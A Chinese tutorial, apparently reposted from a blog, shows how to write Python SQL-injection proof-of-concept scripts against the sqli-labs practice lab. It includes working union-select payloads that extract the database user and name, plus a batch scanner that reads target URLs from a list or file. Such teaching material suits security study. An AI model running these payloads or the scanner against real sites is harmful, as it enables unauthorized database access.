Python从0到POC编写--SQL注入

SQL注入POC编写。

环境: win10 ,phpStudy ,python3.7 ,sqli-labs

虚拟域名: www.sql.com


简单的POC:

说起来也简单,

就是请求–>响应,

然后再判断返回信息是否存在注入。

本菜鸟也是在学习阶段,好好学习,天天向上。


POC就跟爬虫差不多

假设找到一个注入点,这是一个报错注入,

报错注入简单的讲就是通过错误提示返回信息,

而正确的信息则不会返回信息。

那么我们可以这样进行编写。

首先导入必要的模块,

然后设置漏洞url,然后再设置一个payload,这样方便随时更新

然后再设置一个 header ,模拟浏览器请求,

然后就可以使用 requests.get() 发起请求了

最后呢,使用正则表达抓取返回的内容就可以了

这样一个简单的POC就完成了。


import requests
import re

url = "http://www.sql.com/Less-1/?id=-1\'";

payloads = " order by 3 --+"

headers = {
	'Host': 'www.sql.com',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	'Accept-Encoding': 'gzip, deflate'

}

r = requests.get(url+payloads,headers=headers)

result = re.findall('<font.*?Your(.*?)</font>',r.text)

print(result)

这个正则匹配就是抓取关键返回值,

因为 request 解析的是一个原始页面,也就是源代码,

所以要从源码里面找到返回值,

下图就是我们要抓取的返回值,

每次注入的返回值就是在这里显示的,所有每次都要从这个地方抓取,

images


现在我们来看看结果

首先爆显位,可以看到是 2 和 3

images


当然如果我们不相信代码,可以去网页看看

确实是 2 和 3

images


后面我们就可以把 payload 换成 ` union select 1,user(),database() –+ `

成功爆出数据库用户名和数据库名,

这样一个小POC就完成了,后面爆数据就不多说了。

images


再高级一点的POC:

针对简单的poc进行改进,

简单的poc有个毛病,如果某一环出现错误,那么整改程序就会奔溃掉,

就像这样,如果网站访问不了,就会出现错误。

images


对于这种情况,我们可以使用 try except 方法来捕获异常情况


import requests
import re

try:

	url = "http://www.sql.com/Less-1/?id=-1\'";

	payloads = " union select 1,user(),database() --+"

	headers = {
		'Host': 'www.sql.com',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Accept-Encoding': 'gzip, deflate'

	}

	r = requests.get(url+payloads,headers=headers,time=3)

	result = re.findall('<font.*?>(.*?)</font>',r.text)

	print(result)

except:
	print('error')
	# exit()

这样就可以了,最后要是出现错误就输出一个 error 。


再再高级一点的POC:

这里讲函数封装和批量

如果想要从其他地方调用这个SQL注入函数,那么我们需要先把他封装起来,

使用 def 函数

def 函数是用来定义一个 function() 的。

例:


import requests
import re

def sql():
	try:

		url = "http://www.sql.com/Less-1/?id=-1\'";

		payloads = " union select 1,user(),database() --+"

		headers = {
			'Host': 'www.sql.com',
			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding': 'gzip, deflate'

		}

		r = requests.get(url+payloads,headers=headers)

		result = re.findall('<font.*?>(.*?)</font>',r.text)

		print(result)

	except:
		print('网站无法访问')
		exit()

if __name__ == '__main__':
	sql()

使用 def 定义一个 sql() 函数,把代码封装起来,

最后使用 __name__ == '__main__' 让这个函数自动调用,

当脚本运行的时候就会自动调用这个sql()函数

不要问为什么,这是固定搭配,这样写就完事了。


接下来就是批量了,

假设有一批网站需要检测有没有注入点,

那么我们可以设置一个字典,

这个字典可以是外部的,也可以是内部的,

然后从这个字典里面一条一条去读取出来,然后拿去检测,

然后代码是这样子的,稍微做了点小小的改动。


import requests
import re

global num

num = 0

def sql(url,num):

	try:

		# url = "http://www.sql.com/Less-1/?id=-1\'";

		payloads = "?id=-1' union select 1,user(),database() --+"

		headers = {
			'Host': 'www.sql.com',
			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding': 'gzip, deflate'

		}

		r = requests.get(url+payloads,headers=headers)
		
		result = re.findall('<font.*?>(.*?)</font>',r.text)

		print(('第{}次:').format(num)+result[1])

	except:
		print('error')
		# exit()

# if __name__ == '__main__':
# 	sql(url)

dic = [
	'http://www.sql.com/Less-1/',
	'http://www.sql.com/Less-2/',
	'http://www.sql.com/Less-3/',
	'http://www.sql.com/Less-4/',
	'http://www.sql.com/Less-5/',
	'http://www.sql.com/Less-6/',
	'http://www.sql.com/Less-7/',
	'http://www.sql.com/Less-8/',
	'http://www.sql.com/Less-9/'
]

for url in dic:
	num += 1
	sql(url,num)

这里内置了一个字典,

把字典里面的值赋值给 url

然后传入一个 url 值给 sql() 函数

最后通过 for 循环去调用 sql() 函数 ,就不需要自动调用了。


当然也可以通过外部导入字典 ,

导入外部字典的好处就是减少代码量,

假设导入 D 盘 里面的 sql.txt 字典。


import requests
import re

global num

num = 0

def sql(url,num):

	try:

		# url = "http://www.sql.com/Less-1/?id=-1\'";

		payloads = "?id=-1' union select 1,user(),database() --+"

		headers = {
			'Host': 'www.sql.com',
			'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
			'Accept-Encoding': 'gzip, deflate'

		}

		r = requests.get(url+payloads,headers=headers)
		
		result = re.findall('<font.*?>(.*?)</font>',r.text)

		print(('第{}次:').format(num)+result[1])

	except:
		print('error')
		# exit()

# if __name__ == '__main__':
# 	sql(url)

file = open('D:/sql.txt','r')

for url in file.readlines():
	num += 1
	url=url.strip('\n')	 # 消除读取数据时出现的换行符
	sql(url,num)

file.close()

两段代码其实都差不多,一个是外部字典,一个内部字典,

来看看效果

images

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/605816.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【高阶数据结构(二)】初识图论

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:高阶数据结构专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; 高阶数据结构 1. 前言2. 图的基…

Spring底层入门(七)

1、异常处理 在DispatcherServlet中&#xff0c;doDispatch(HttpServletRequest request, HttpServletResponse response) 方法用于进行任务处理&#xff1a; 在捕获到异常后没有立刻进行处理&#xff0c;而是先用一个局部变量dispatchException进行记录&#xff0c;然后统一由…

[Cpp]类和对象 | 实现日期类

标题&#xff1a;[Cpp]类和对象 | 实现日期类 水墨不写bug 正文开始&#xff1a; 类和对象是Cpp面向对象编程区别于C的面向过程编程的重要的一部分&#xff0c;因此打好坚实的类和对象的基础对于深入学习Cpp语言是比较明智的。 本文通过实现简单的日期类来加深对类和对象的理解…

怎么用git在暂存区(stage)中移除不需要提交(commit)的文件?

2024年5月9日&#xff0c;周四上午 非常简单&#xff0c;用下面这条命令就可以了 git rm --cached <file>注&#xff1a;这条命令不会把文件从文件夹中删除&#xff0c;只会把文件从暂存区中移除出去 实战

Isaac Sim 5 Ros相关(学习笔记5.8.3)

一.RGB、Depth、bbox话题发送 1.新建一个二驱示例小车 路径为Robot-Jetbot&#xff08;如果找不到也可以直接搜索Jetbot&#xff09; 2.添加Action Graph 导航栏中&#xff1a;Window - Visual Scripting - Action Graph&#xff0c;建立一个工作区&#xff0c;这个工作区中…

【高阶数据结构】并查集

并查集 并查集1、概念2、根据人找编号 / 根据编号找人&#xff08;简单介绍一下并查集&#xff09;&#xff08;1&#xff09;代码展示&#xff08;2&#xff09;调试结果&#xff08;3&#xff09;优化1&#xff1a;小的往大的合并&#xff08;4&#xff09;优化2&#xff1a;…

docker-compose安装es+kibana 8.12.2

小伙伴们&#xff0c;你们好&#xff0c;我是老寇&#xff0c;我又回来辣&#xff0c;几个月不见甚是想念啊&#xff01;&#xff01;&#xff01; 因云平台需要改造&#xff0c;es7升级为es8&#xff0c;所以记录一下&#xff0c;es8需要开启ssl认证&#xff0c;需要配置证书…

AC/DC电源模块在通信与网络设备中的应用研究

BOSHIDA AC/DC电源模块在通信与网络设备中的应用研究 随着通信与网络技术的不断发展&#xff0c;通信与网络设备的使用不断增加。电源作为通信与网络设备的重要组成部分之一&#xff0c;在其稳定工作中起到至关重要的作用。AC/DC电源模块作为一种常用的电源转换器&#xff0c;…

探索设计模式的魅力:权力集中,效率提升,中心化模式的优势与挑战

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 ✨欢迎加入探索中心化模式之旅✨ 大家好啊&#xff01;&#x1f44b; 这次我们要聊的是IT界一…

使用js/java合并3dtiles

目录 前言&#xff1a; 需合并的json目录 aa/tileset.json bb/tileset.json cc/tileset.json dd/tileset.json ee/tileset.json js源码&#xff1a; 运行命令&#xff1a; 生成结果&#xff1a; java源码&#xff1a; Matrix.java ThreeDTilesJoin2.java pom文件…

【中级软件设计师】上午题15-计算机网络

上午题15-计算机网络 1 网络设备2 协议簇3 TCP和UDP4 SMTP和POP35 ARP和RARP6 DHCP&#xff08;Dynamic Host Configuration Protocol&#xff09;7 URL8 浏览器9 IP地址和子网划分10 IPv611 Windows命令12 路由器 1 网络设备 物理层设备&#xff1a;中继器、集线器&#xff0…

目标检测正负样本区分和平衡

1、正负样本定义 rpn和rcnn的正负样本定义都是基于MaxIoUAssigner&#xff0c;只不过定义阈值不一样而已。 MaxIoUAssigner的操作包括4个步骤&#xff1a; 首先初始化时候假设每个anchor的mask都是-1&#xff0c;表示都是忽略anchor 将每个anchor和所有gt的iou的最大Iou小于…

C# SolidWorks 二次开发 -从零开始创建一个插件(3) 发布插件

五一节过完了吧&#xff0c;该上班学习了吧&#xff1f; 如何把自己开发好的程序优雅的给别人使用。 今天我们来简单讲解一下&#xff0c;这个之前不少粉丝咨询过相关问题&#xff0c;自己开发好的东西&#xff0c;如何给同事或者其它人使用。 先列一下使用到的主要工具&am…

什么是存量与流量?

存量与流量是反映经济状况的两类指标&#xff0c;在统计和国民经济核算中得到广泛运用。存量与流量之间既有密切的联系&#xff0c;又有一定区别。 一、存量与流量的基本概念 存量是某一时点结存的量&#xff0c;体现了某一时点上持有的经济价值或物量&#xff1b;流量是一段…

基于YOLO的车牌与车型识别系统

一、项目背景与意义 随着智能交通系统的快速发展&#xff0c;车辆识别技术在交通管理、安防监控、自动收费、停车管理等领域发挥着至关重要的作用。车牌识别和车型识别作为车辆识别技术的核心组成部分&#xff0c;能够有效提升交通运营效率&#xff0c;加强公共安全监控&#…

阿里云发布通义千问2.5,OpenCompass上得分追平GPT-4 Turbo

5月9日消息&#xff0c;阿里云正式发布通义千问2.5&#xff0c;模型性能全面赶超GPT-4 Turbo&#xff0c;成为地表最强中文大模型。同时&#xff0c;通义千问最新开源的1100亿参数模型在多个基准测评收获最佳成绩&#xff0c;超越Meta的Llama-3-70B&#xff0c;成为开源领域最强…

Davinci工程CANTP模块讲解

配置CAN的TP模式&#xff0c;涉及BSW\CanTp\CanTp.c和CanTp.h CanTpChannels 他有两组收发&#xff0c;功能诊断和物理诊断。 功能诊断有自己的参数要求 物理诊断的接收要求相对多一些 由于发送只有一个&#xff0c;所以我们把它放在物理诊断接收那组里面。 CanTpGeneral 也…

关于在阿拉伯语中占位符出现的问题

项目中用到了阿语的翻译&#xff0c;本来是直接复制过来就行&#xff0c;但是在一个使用到占位符的地方出现了问题 这是正常的内容但是粘贴到studio后却不是这样的 变成这样了那个逗号一样的文字的位置变了&#xff0c;这样一来占位符彻底无法用了还会报错。 经过多方尝试和群…

学习Uni-app开发小程序Day3

经过五一长假&#xff0c;回过头在去看学习的东西&#xff0c;发现仍然是一筹莫展的&#xff0c;看来&#xff0c;学习是不能松懈的&#xff0c;得&#xff0c;自己在把以前的从头复习一遍&#xff0c;加深印象。今天在继续听课&#xff0c;但是出现一个问题&#xff0c;是黑码…

大家都是怎么写毕业论文的? 推荐4个AI工具

写作这件事一直让我们从小学时期就开始头痛&#xff0c;初高中时期800字的作文让我们焦头烂额&#xff0c;一篇作文里用尽了口水话&#xff0c;拼拼凑凑才勉强完成。 大学时期以为可以轻松顺利毕业&#xff0c;结果毕业前的最后一道坎拦住我们的是毕业论文&#xff0c;这玩意不…
最新文章